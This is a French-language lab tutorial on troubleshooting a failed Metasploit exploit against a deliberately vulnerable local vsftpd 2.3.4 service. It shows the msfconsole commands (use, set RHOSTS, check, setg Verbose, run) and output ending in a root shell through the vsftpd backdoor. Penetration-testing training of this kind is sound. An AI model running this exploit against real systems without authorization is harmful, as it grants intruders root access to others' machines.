Introduction
Metasploit est un puissant framework de test d'intrusion qui simplifie le piratage. Cependant, même avec les meilleurs outils, les exploits peuvent échouer pour diverses raisons : informations incorrectes sur la cible, système patché ou problèmes réseau. Savoir diagnostiquer et corriger ces échecs est une compétence essentielle pour tout professionnel de la sécurité.
Dans ce laboratoire, vous apprendrez le flux de travail de base pour le dépannage d'un exploit défaillant dans Metasploit. Nous allons intentionnellement mal configurer un exploit, observer l'échec, puis utiliser les outils intégrés de Metasploit pour identifier et corriger le problème. Vous apprendrez à utiliser des commandes telles que show options, check et le paramètre Verbose pour obtenir les informations dont vous avez besoin pour réussir.
Pour ce laboratoire, un serveur FTP vulnérable a été démarré en arrière-plan sur votre machine locale, qui servira de cible.
Sélectionner un exploit et définir des options incorrectes
Dans cette étape, nous allons lancer la console du framework Metasploit, sélectionner un module d'exploit et le configurer intentionnellement avec une option incorrecte pour simuler une erreur utilisateur courante. Cela préparera le terrain pour le processus de dépannage.
Tout d'abord, ouvrez votre terminal et démarrez la console Metasploit. Nous utilisons l'indicateur -q (quiet) pour ignorer la bannière et accélérer le processus de chargement.
msfconsole -q
Une fois que vous êtes à l'invite msf6 >, nous allons rechercher un exploit ciblant le service vsftpd.
search vsftpd
Vous verrez une liste de modules. Nous nous intéressons à exploit/unix/ftp/vsftpd_234_backdoor. Sélectionnons-le à l'aide de la commande use.
use exploit/unix/ftp/vsftpd_234_backdoor
Votre invite changera pour indiquer que le module d'exploit est maintenant actif. Nous devons maintenant configurer la cible. L'option la plus importante est RHOSTS, qui signifie Remote Hosts (Hôtes distants). Nous allons délibérément la définir sur une adresse IP incorrecte.
set RHOSTS 192.168.1.100
Vous verrez une confirmation que RHOSTS a été défini. Nous avons maintenant préparé un exploit qui est garanti d'échouer.
Exécuter l'exploit et observer le message d'échec
Dans cette étape, vous allez exécuter l'exploit mal configuré et apprendre à interpréter le message d'échec résultant. C'est la première et la plus cruciale partie du dépannage.
Avec l'exploit vsftpd_234_backdoor sélectionné et le RHOSTS incorrect défini, essayons de l'exécuter. Vous pouvez utiliser la commande run ou exploit.
run
L'exploit tentera de se connecter à l'adresse IP que nous avons fournie (192.168.1.100). Comme cet hôte n'est pas joignable depuis l'environnement du laboratoire, l'exploit échouera. Vous verrez une sortie similaire à celle-ci :
[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.
Le message The target is not exploitable ou un message d'erreur de connexion similaire est un indicateur clair que Metasploit n'a pas pu atteindre ou interagir avec le service cible. Cela nous indique que le problème est probablement lié au réseau ou à la configuration de l'hôte cible.
Utiliser la commande show options pour examiner la configuration
Dans cette étape, après avoir constaté un échec, la première action logique est de revoir nos paramètres. La commande show options est l'outil principal pour cette tâche. Elle affiche tous les paramètres configurables pour le module actuel.
Vérifions les options que nous avons définies pour notre exploit.
show options
Cette commande affichera un tableau des options pour l'exploit vsftpd_234_backdoor :
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.100 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Regardez attentivement le Current Setting pour RHOSTS. Il s'agit de 192.168.1.100, que nous savons être incorrect. Le service vulnérable pour ce laboratoire s'exécute sur la machine locale. L'adresse IP de la machine locale est 127.0.0.1.
Corrigeons la valeur de RHOSTS.
set RHOSTS 127.0.0.1
Maintenant, si vous exécutez à nouveau show options, vous verrez que la valeur de RHOSTS a été mise à jour correctement.
Utiliser la commande check pour tester l'exploitabilité
Dans cette étape, vous apprendrez à utiliser la commande check. Avant d'exécuter un exploit, il est souvent judicieux de vérifier si la cible est réellement vulnérable. La commande check vous permet de le faire en toute sécurité, sans exécuter réellement la charge utile de l'exploit. Notez que tous les modules ne prennent pas en charge cette fonctionnalité.
Maintenant que nous avons corrigé l'option RHOSTS, utilisons check pour voir si Metasploit estime que la cible est vulnérable.
check
Si la cible est correctement configurée et que le service est vulnérable, vous devriez voir un message de confirmation positif.
[*] 127.0.0.1:21 - The target is vulnerable.
Ce message, The target is vulnerable, nous donne une grande confiance que l'exploit réussira lorsque nous l'exécuterons. Il confirme que Metasploit a pu se connecter à la cible et vérifier la présence de la porte dérobée (backdoor). Si cela avait échoué, nous aurions dû enquêter davantage, mais pour l'instant, c'est un très bon signe.
Définir l'option Verbose sur true et relancer pour plus de détails
Dans cette étape, vous découvrirez l'option Verbose. Parfois, même lorsque check réussit, un exploit peut échouer. Pour obtenir plus d'informations sur ce que l'exploit fait en coulisses, vous pouvez activer la journalisation détaillée (verbose logging). Il s'agit d'un paramètre global qui affecte tous les modules.
Activons le mode détaillé en utilisant la commande setg, qui définit une valeur globalement.
setg Verbose true
Maintenant, avec le mode détaillé activé et le RHOSTS correct, relançons l'exploit.
run
Cette fois, vous verrez une sortie beaucoup plus détaillée. La journalisation détaillée vous montre le processus étape par étape de l'exploit, y compris les tentatives de connexion et les données envoyées. Plus important encore, l'exploit devrait maintenant réussir.
[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400
Succès ! Le message Command shell session 1 opened confirme que vous avez réussi à compromettre la cible. Vous disposez maintenant d'un shell de commande sur le système distant. Vous pouvez le tester en exécutant une commande simple comme whoami.
whoami
Vous devriez voir la sortie root. Pour quitter le shell et revenir à l'invite Metasploit, appuyez sur Ctrl + C ou tapez exit.
Résumé
Félicitations pour avoir terminé le laboratoire ! Vous avez appris avec succès le processus fondamental pour dépanner un exploit défaillant dans le Metasploit Framework.
Dans ce laboratoire, vous avez pratiqué une approche systématique de résolution de problèmes :
- Observer l'échec : Vous avez d'abord exécuté un exploit mal configuré pour constater son échec.
- Examiner les options : Vous avez utilisé
show optionspour inspecter la configuration et identifier une valeurRHOSTSincorrecte. - Vérifier la vulnérabilité : Vous avez utilisé la commande
checkpour vérifier en toute sécurité que la cible était vulnérable après avoir corrigé la configuration. - Obtenir plus de détails : Vous avez appris à utiliser
setg Verbose truepour obtenir une sortie détaillée, étape par étape, ce qui est inestimable pour diagnostiquer des problèmes plus complexes.
Ces compétences fondamentales vous aideront à surmonter les obstacles courants et à utiliser Metasploit plus efficacement dans vos activités de test d'intrusion.


